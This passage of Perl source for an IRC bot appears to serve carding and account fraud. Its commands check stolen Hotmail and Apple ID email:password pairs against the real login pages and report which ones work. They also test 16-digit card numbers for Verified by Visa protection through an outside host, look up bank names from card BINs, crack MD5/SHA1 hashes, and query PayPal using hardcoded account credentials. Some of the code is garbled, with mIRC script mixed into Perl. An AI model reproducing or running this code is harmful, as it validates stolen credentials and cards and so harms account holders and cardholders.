  978. $agent->current_form->value('passwd', ''.$hotpasswordx.'');
  979. $agent->submit();
  980. # print $agent->content,"\n";
  981. my $internal = $agent->content;  
  982. if ($internal =~/Windows Live ID/) {
  983.  &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
  984. }else{
  985.  &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
  986. }
  987. }
  988. ########################################################################################
  989. ########################################################################################
  990. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  991.                my ($email,$pass) = ($1,$2);
  992.                chop($email,$pass);
  993.                   &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
  994. my $agent = WWW::Mechanize->new( autocheck => 1 );
  995. my $formfiller = WWW::Mechanize::FormFiller->new();
  996. $agent->env_proxy();
  997. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?
  998.  
  999. appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com
  1000.  
  1001. %252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
  1002. $agent->form_number(2);
  1003. $agent->current_form->value('theAccountName', ''.$email.'');
  1004. $agent->current_form->value('theAccountPW', ''.$pass.'');
  1005. $agent->submit();
  1006. $agent->reload();
  1007. #  print $agent->content,"\n";
  1008. my $internal = $agent->content;
  1009. my $allo=$agent->content;
  1010.      open(FILE3,">>Apple.html") or die "$!";
  1011.       #print FILE3 "$allo\n";
  1012.           close FILE3;
  1013. sleep(2);
  1014. if($internal =~/Did you forget/) {
  1015.  &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
  1016.   }
  1017. elsif($internal =~/blocked/) {
  1018.  &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
  1019. }  elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  1020. my $name = $1;
  1021. my $surname = $2;
  1022.  &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
  1023. }  
  1024. }
  1025.  
  1026.  
  1027. #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
  1028. #############################CONTACT ME : [email protected]################################
  1029. ############################################################################################
  1030. if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
  1031.                {
  1032.                my ($zipcheck) = ($1);
  1033.                &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck");
  1034. #print "\n";
  1035. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1036. my $formfiller = WWW::Mechanize::FormFiller->new();
  1037. $agent->env_proxy();
  1038. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
  1039. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1040. { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  1041. $agent->submit();
  1042. #print $agent->content,"\n";
  1043. my $zipse=$agent->content;
  1044. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td
  1045.  
  1046. align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  1047. my ($city) = ($1);
  1048. my ($state) = ($2);
  1049.                &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
  1050. }
  1051. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
  1052.                &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
  1053. }
  1054. }
  1055. #####################################################################################
  1056.        if($msg{'what'} =~ /^$ipcmd (.*)/)
  1057.                {
  1058.                my ($ipcheck) = ($1);
  1059.                &respond_to_privmsg(\%msg,"14,1[ 9ip14 ]0,1 Checking...08 $ipcheck");
  1060. #print "\n";
  1061. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1062. my $formfiller = WWW::Mechanize::FormFiller->new();
  1063. $agent->env_proxy();
  1064. $agent->get('http://www.ipligence.com/geolocation');
  1065.  $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1066. { local $^W; $agent->current_form->value('ip', ''.$ipcheck.''); };
  1067. $agent->submit();
  1068. #print $agent->content,"\n";
  1069. my $ipse=$agent->content;
  1070. if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  1071. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  1072. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 IP ADDRESS :3 $ipaddress");
  1073. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 CITY :3  $city ");
  1074. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 COUNTRY :3  $country ");
  1075. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 Continent :3  $continent ");
  1076. }
  1077. elsif ($ipse =~/Invalid address or IP not found/){
  1078.                &respond_to_privmsg(\%msg,"4,1[ 9ip4 ] 9-4 Invalid IP address!");
  1079.                }
  1080.                }
  1081. #####################################################################################
  1082.        if($msg{'what'} =~ /^!dns (.*)/)
  1083.                {
  1084.                my ($hostingname) = ($1);
  1085.                &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Checking 14$hostingname");
  1086. #print "\n";
  1087. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1088. my $formfiller = WWW::Mechanize::FormFiller->new();
  1089. $agent->env_proxy();
  1090. $agent->get('http://www.ipligence.com/geolocation');
  1091.  $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1092. { local $^W; $agent->current_form->value('ip', ''.$hostingname.''); };
  1093. $agent->submit();
  1094. #print $agent->content,"\n";
  1095. my $dnschk=$agent->content;
  1096. if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  1097. my ($resolved,$city,$country,$continent) = ($1,$2,$3,$4);
  1098. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01]08,01 Resolved to09$resolved");
  1099. }
  1100. elsif ($dnschk =~/Invalid address or IP not found/){
  1101.                &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Could not Resolve Hostname");
  1102.                }
  1103.                }
  1104. ############################################################################################
  1105. if($msg{'what'} =~ /^!pirt\s(.*) (.*)/) {
  1106. my($cip,$cport,$port,%ip,%port,%chan) = ($1,$2,%3,%4,%5,%6);
  1107. chop($cport);
  1108. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]00,01 Checking...08,01 $cip:$cport");
  1109. my $agent = WWW::Mechanize->new();
  1110. my $formfiller = WWW::Mechanize::FormFiller->new();
  1111. $agent->env_proxy();
  1112. #$agent->get("http://w00t.usr.sh/toolz/checkport/");
  1113. $agent->get("http://www.twcontact.com&/port.php?ip=,%port.ip,&port=,%port.port"); # HTTP/1.0
  1114. sub portcheck {
  1115. #  set my %port.ip $1
  1116. # set my %port.port $2
  1117.  #set my %port.chan $3
  1118.  #sockopen portcheck "www.twcontact.com&80"
  1119. #}
  1120. #on *:sockopen:portcheck: {
  1121. #  sockwrite -n $sockname GET $+(/port.php?ip=,%port.ip,&port=,%port.port) HTTP/1.0
  1122. # sockwrite -n $sockname Host: www.twcontact.com
  1123. #sockwrite -n $sockname User-Agent: Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/22.478; U; en) Presto/2.5.25 Version/10.54
  1124.  #sockwrite -n $sockname Connection: Close
  1125.  #sockwrite -n $sockname $str($crlf,2);
  1126. #};
  1127. #on *:sockread:portcheck: {
  1128.  var %portcheck
  1129.  sockread %portcheck
  1130.  #If (%portcheck == <title>open</title>) { msg %port.chan $+(%port.ip,:,%port.port) is 3OPEN | sockclose portcheck };
  1131.  #If (%portcheck == <title>closed</title>) { msg %port.chan $+(%port.ip,:,%port.port) is 4CLOSED | sockclose portcheck };
  1132. #}
  1133. #On *:Text:*:#: {
  1134. #  If ($1 == .port) { portcheck $2 $3 $chan }
  1135. #  If ($1 == !port) { portcheck $2 $3 $chan }
  1136. #}
  1137. # On *:Input:#: {
  1138. # If ($1 == .port) { portcheck $2 $3 $chan }
  1139. # If ($1 == !port) { portcheck $2 $3 $chan }
  1140. }
  1141. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  1142. { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
  1143. { local $^W; $agent->current_form->value('port', ''.$cport.''); };
  1144. $agent->submit();
  1145. #print $agent->content,"\n";
  1146. my $resultport=$agent->content;  
  1147. if($resultport =~/is opened/g){
  1148.  &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is opened");
  1149. }elsif($resultport = ~/is closed/){
  1150. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is 04Closed");
  1151. }
  1152. }
  1153. ########################################################################################
  1154. if($msg{'what'} =~ /^$sheccmd\s(\d{16})/){
  1155.                my ($vbvnumb) = ($1);
  1156.                &respond_to_privmsg(\%msg,"14,01[15,1Vbv/Mcsc14,01]00,01 Checking...08,01 $vbvnumb");
  1157. #print "\n";
  1158. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1159. my $formfiller = WWW::Mechanize::FormFiller->new();
  1160. $agent->env_proxy();
  1161. $agent->get('http://w00t.usr.sh/toolz/vbv/');
  1162. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1163. { local $^W; $agent->current_form->value('cclist', ''.$vbvnumb.''); };
  1164. $agent->submit();
  1165. # print $agent->content,"\n";
  1166. my $secres=$agent->content;
  1167. if ($secres =~/PROTECTION ACTIVE/g){
  1168.                &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 Protection Active!");
  1169. }elsif ($secres =~/PROTECTION NOT ACTIVE/){
  1170.                &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb09,01 Protection Not Active!");
  1171. }elsif ($secres =~/Unknown/){
  1172.                &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb07,1 Unknown");
  1173. }elsif ($secres =~/INVALID/){
  1174.                &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 INVALID");
  1175.                }
  1176.                }
  1177. #####################################################################################
  1178. if($msg{'what'} =~ /^!md5\s(.*)/) {
  1179. my $mstring = $1;
  1180. chop($mstring);
  1181. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
  1182. my $agent = WWW::Mechanize->new();
  1183. my $formfiller = WWW::Mechanize::FormFiller->new();
  1184. $agent->env_proxy();
  1185. $agent->get("http://w00t.usr.sh/toolz/md5/");
  1186. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1187. { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
  1188. $agent->submit();
  1189. #print $agent->content,"\n";
  1190. my $resmd=$agent->content;  
  1191. if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  1192.  &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
  1193. }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
  1194. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
  1195. }
  1196. else{
  1197. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
  1198. }
  1199. }
  1200. #####################################################################################
  1201.        if($msg{'what'} =~ /^!md5decode (.*)/) {
  1202. my $md = $1;
  1203. chop($md);
  1204. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
  1205. my $agent = WWW::Mechanize->new();
  1206. my $formfiller = WWW::Mechanize::FormFiller->new();
  1207. $agent->env_proxy();
  1208. $agent->get("http://w00t.usr.sh/toolz/md5/");
  1209. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  1210. { local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
  1211. $agent->submit();
  1212. # print $agent->content,"\n";
  1213. my $internal=$agent->content;  
  1214. if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  1215.  &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
  1216. }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
  1217.  &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
  1218. }elsif($internal = ~/Invalid/){
  1219.  &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
  1220. }
  1221.  }
  1222. #####################################################################################
  1223. if($msg{'what'} =~ /^!sha1\s(.*)/) {
  1224.  my $shastring = $1;
  1225.  chop($shastring);
  1226.  &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
  1227.  my $agent = WWW::Mechanize->new();
  1228.  my $formfiller = WWW::Mechanize::FormFiller->new();
  1229.  $agent->env_proxy();
  1230.  $agent->get("http://w00t.usr.sh/toolz/sha1/");
  1231.  $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1232.  { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
  1233.  $agent->submit();
  1234.  #print $agent->content,"\n";
  1235.  my $resmd=$agent->content;  
  1236.  if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  1237.   &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
  1238.  }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
  1239.  &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
  1240. }
  1241. else{
  1242.  &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
  1243. }
  1244.  }
  1245. #####################################################################################
  1246.         if($msg{'what'} =~ /^!sha1decode (.*)/) {
  1247.  my $sha = $1;
  1248.  chop($sha);
  1249.  &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
  1250.  my $agent = WWW::Mechanize->new();
  1251.  my $formfiller = WWW::Mechanize::FormFiller->new();
  1252.  $agent->env_proxy();
  1253.  $agent->get("http://w00t.usr.sh/toolz/sha1/");
  1254.  $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  1255.  { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
  1256.  $agent->submit();
  1257.  #print $agent->content,"\n";
  1258.  my $internal=$agent->content;  
  1259.  if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  1260.   &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
  1261.  }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
  1262.  &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
  1263. }elsif($internal = ~/Invalid/){
  1264.  &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
  1265. }
  1266.  }
  1267. ###########################################################################################
  1268.        if($msg{'what'} =~ /^!transid (.*)/)
  1269.                {
  1270.                my ($words) = ($1);
  1271.                chop($words);
  1272.                &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
  1273. #print "\n";
  1274. my $agent = WWW::Mechanize->new( autocheck => 1);
  1275. my $formfiller = WWW::Mechanize::FormFiller->new();
  1276. $agent->env_proxy();
  1277. $agent->get('http://translate.reference.com/');
  1278.  { local $^W; $agent->current_form->value('src', 'id'); };
  1279.  { local $^W; $agent->current_form->value('dst', 'en'); };
  1280.  { local $^W; $agent->current_form->value('query', ''.$words.''); };
  1281.  $agent->submit();
  1282.  #print $agent->content,"\n";
  1283. my $tranzid=$agent->content;
  1284. if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
  1285. &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
  1286. }
  1287.                }
  1288. #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
  1289. #############################CONTACT ME : [email protected]################################
  1290. ############################################################################################                  
  1291. if($msg{'what'} =~ /^$statecmd (.*)/){
  1292.                my $statesinfo = $1;
  1293.                                                my $statedatabase = "state.txt";
  1294.                                                open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
  1295.                                                my @results=<FILE>;
  1296.                                                close FILE;
  1297.                                                my $statevar = 0;
  1298.                        my $nostatevar = 0;
  1299.                                                my $statex = substr($statesinfo,0,2);
  1300. foreach my $url (@results){
  1301. if($url =~ /$statex\|(.*)/){
  1302. if($statevar  == 0) {
  1303.                                        &respond_to_privmsg(\%msg,"14,01[12State14]7 $statex 04:9 $1");
  1304. goto finish;
  1305.                      }
  1306.                    }
  1307.                       else{
  1308.                   $nostatevar = 1;
  1309.                   }
  1310.                    }
  1311.                     if($nostatevar == 1) {
  1312.                     &respond_to_privmsg(\%msg,"14,01[12State14]07 Could not Retrieve State.");
  1313.                                }
  1314.                                finish:
  1315.                        }
  1316. ############################################################################################                  
  1317. #####################################################################################
  1318. if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
  1319.                              my $bankinfo = $1;
  1320.                                                my $database = "banklist.txt";
  1321.                                                open FILE,"$database" or die "Can't open file: $database";
  1322.                                                my @results=<FILE>;
  1323.                                                close FILE;
  1324.                                                my $bankvar = 0;
  1325.                        my $chkvar = 0;
  1326.                                                foreach my $url (@results){
  1327.                                                if($url =~ /$bankinfo\|(.*)/){
  1328.                            if($bankvar  == 0) {
  1329.                                                $bankvar = 1;
  1330.                        &respond_to_privmsg(\%msg,"14,1[12BanK..14]0 $1");
  1331.                                            goto finish;
  1332.                      }
  1333.                    }
  1334.                       else{
  1335.                   $chkvar = 1;
  1336.                   }
  1337.                    }
  1338.                     if($chkvar == 1) {
  1339.                     &respond_to_privmsg(\%msg,"14,01[12BanK..14]07,01 Could not retreive bank.");
  1340.                                }
  1341.                                finish:
  1342.                        }
  1343. #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
  1344.                if($msg{'what'} =~ /\!hop (.*)/)
  1345.                {
  1346.                        if(&ctrl_admin(\%msg) == 0){
  1347.                                $irc_socket->write("PART ".$1." ".$2."\n");
  1348.                $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  1349.                                }
  1350.                                }
  1351. ######################################################################################
  1352.                if($msg{'what'} =~ /\!join (.*)/)
  1353.                {
  1354.                        my $joinz= $1;
  1355.                        if(&ctrl_admin(\%msg) == 0){
  1356.                $irc_socket->write("JOIN ".$joinz."\r\n");
  1357.                                }
  1358.                                }
  1359.                                                if($msg{'what'} =~ /\!hop (.*)/)
  1360.                {
  1361.                        if(&ctrl_admin(\%msg) == 0){
  1362.                                $irc_socket->write("PART ".$1." ".$2."\n");
  1363.                $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  1364.                                }
  1365.                                }
  1366. ######################################################################################
  1367.                if($msg{'what'} =~ /\!part (.*)/)
  1368.                {
  1369.                        my $parted = $1;
  1370.                        if(&ctrl_admin(\%msg) == 0){
  1371.                $irc_socket->write("part ".$parted."\r\n");
  1372.                                }
  1373.                                }
  1374. ####################################################################################
  1375. #####################################################################################  
  1376. if($msg{'what'} =~ /\!out(.*)/)
  1377.                {
  1378.                        my $qmsg = $1;
  1379.                        if(&ctrl_admin(\%msg) == 0){
  1380.                                $irc_socket->write("quit ".$qmsg."\r\n");
  1381.                      
  1382.                }
  1383.                }
  1384.              
  1385. ######################################################################################
  1386. ######################################################################################        
  1387.                                if($msg{'what'} =~ /\!rax (.*)/)
  1388.                {
  1389.                        my $raw = $1;
  1390.                        if(&ctrl_admin(\%msg) == 0){
  1391.                                &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
  1392.                                $irc_socket->write($raw."\r\n");
  1393.                        }
  1394.                }
  1395. #############################@@@@======ADDED payPaL Chk!=====@@@@###########################
  1396. #############################CONTACT ME : [email protected]################################
  1397. ############################################################################################
  1398.                if($msg{'what'} =~ /^$ppcmd (.*)/)
  1399.  
  1400.                {
  1401.        my ($ppchek) = ($1);
  1402. chop($ppchek);
  1403. &respond_to_privmsg(\%msg,"14,1[12 PAYPAL 14,1]00,1 CHECKiNG...00,1 -9,1${ppchek}00,1-\r\n");
  1404. my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);              
  1405. my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  1406. $agent->env_proxy();
  1407. $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
  1408. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1409. $agent->form_number(3);
  1410. { local $^W; $agent->current_form->value('login_email', 'moviemax@live.it'); };
  1411. { local $^W; $agent->current_form->value('login_password', 'napster23'); };
  1412.  $agent->submit();
  1413. my $internal=$agent->content;
  1414. if ($internal =~/Please make sure you enter your/){
  1415. &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09w00t\r\n");
  1416. $irc_socket->write("PRIVMSG w00t :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
  1417.                }
  1418.                elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
  1419.                        &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09w00t\r\n");
  1420.                        $irc_socket->write("PRIVMSG w00t :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
  1421.                }
  1422.                else {
  1423.                        #print "Logging you in securely \r\n";
  1424.                        $agent->follow_link( url_regex => qr/login_access/i );
  1425.                        $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  1426.                  my $resp=$agent->content;
  1427.                                if ($resp =~/is PayPal Verified/){
  1428.                                &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14]  14,1-00,1${ppchek}14,1- 14,1[9VERIFIED14,1]\r\n");
  1429.                                }
  1430.  
  1431.                                elsif ($resp =~/is NOT PayPal Verified/){
  1432.                                &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14]  14,1-00,1${ppchek}14,1- 14,1[4,1UNVERIFIED14,1]\r\n");
  1433.                                }
  1434.  
  1435.                                elsif ($resp =~/Your access to view member information is currently limited/){
  1436.                                        &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
  1437.                                        #print "Your access to view member information is currently limited. Please try back at another time.\r\n";
  1438.                                }
  1439.  
  1440.  
  1441.        }
  1442. }
  1443.  
  1444.  
  1445. #####################################################################################
  1446.                if($msg{'what'} =~ /\!ip (.*)/)
  1447.                {
  1448.                my ($iploca) = ($1);
  1449. chop($iploca);
  1450.                &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking... 1515:9:15: 14) 0::: $iploca :::");
  1451. #print "inizio mechanize\n";
  1452. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1453. my $formfiller = WWW::Mechanize::FormFiller->new();
  1454. $agent->env_proxy();
  1455.  
  1456.  $agent->get('http://www.ip2location.com/'.$iploca.'');
  1457.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1458.  #print $agent->content,"\n";
  1459. my $ipwork=$agent->content;
  1460. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  1461. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Country 1515:9:15: 14) $1");
  1462. }
  1463. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  1464. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Region 1515:9:15: 14) $1");
  1465. }
  1466. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  1467. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 City 1515:9:15: 14) $1");
  1468. }
  1469. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  1470. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Time 1515:9:15: 14) $1");
  1471. }
  1472. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  1473. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Speed 1515:9:15: 14) $1");
  1474. }
  1475. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  1476. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 IPS 1515:9:15: 14) $1");
  1477. }
  1478. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  1479. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Domain 1515:9:15: 14) $1");
  1480. }
  1481. }
  1482.  
  1483. if($msg{'what'} =~ /\!zipcode\s(\d{5})/)
  1484.                {
  1485.                my ($zipcheck) = ($1);
  1486.                &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck ::: please wait...");
  1487. #print "inizio mechanize\n";
  1488. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1489. my $formfiller = WWW::Mechanize::FormFiller->new();
  1490. $agent->env_proxy();
  1491.  
  1492.  $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  1493.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1494.  { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  1495.  $agent->submit();
  1496.  #print $agent->content,"\n";
  1497. my $zipse=$agent->content;
  1498. if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  1499. $luogo = $1;
  1500.                &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $luogo ::: ");
  1501. }
  1502. elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  1503.                &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck Not found! ::: ");
  1504. }
  1505. }
  1506.  
  1507. if($msg{'what'} =~ /^!zip\s(\d{5})/)
  1508.         {
  1509.         my ($zipcheck) = ($1);
  1510.         &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck");
  1511. #print "\n";
  1512. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1513. my $formfiller = WWW::Mechanize::FormFiller->new();
  1514. $agent->env_proxy();
  1515. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
  1516. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1517.  { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  1518.  $agent->submit();
  1519.  #print $agent->content,"\n";
  1520. my $zipse=$agent->content;
  1521. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  1522. my ($city) = ($1);
  1523. my ($state) = ($2);
  1524.         &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
  1525. }
  1526. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
  1527.         &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
  1528. }
  1529. }
  1530. if($msg{'what'} =~ /\!chkpp (.*)/)
  1531.         {
  1532.         my ($ppchek) = ($1);
  1533. chop($ppchek);
  1534.         &respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");
  1535. #print "inizio mechanize\n";
  1536. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1537. my $formfiller = WWW::Mechanize::FormFiller->new();
  1538. $agent->env_proxy();
  1539. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  1540.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1541.  $agent->form_number(3);
  1542.  { local $^W; $agent->current_form->value('login_email', 'sphiinx@gmail.com'); };
  1543.  { local $^W; $agent->current_form->value('login_password', '123456aa'); };
  1544.  $agent->submit();
  1545.  $agent->follow_link('n' => 7);
  1546.  #print $agent->content,"\n";
  1547. my $internal=$agent->content;
  1548. if ($internal =~/is NOT PayPal Verified/){
  1549.         &respond_to_privmsg(\%msg,"14[12 PayPaL 14] 05${ppchek} - 04Not Verified!");
  1550. }
  1551. if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
  1552.         &respond_to_privmsg(\%msg,"14[12 PayPaL 14] 05${ppchek} - 09$1");
  1553. }
  1554. }
  1555.         if($msg{'what'} =~ /\!raw (.*)/)
  1556.         {
  1557.             my $raw = $1;
  1558.             if(&ctrl_admin(\%msg) == 0){
  1559.                 &respond_to_privmsg(\%msg,"14[04 RaW 14]08 SENDING IRC RAW REQUESTED");
  1560.                 $irc_socket->write($raw."\r\n");
  1561.             }
  1562.         }
  1563. if($msg{'what'} =~ /\!q (.*)/)
  1564.         {
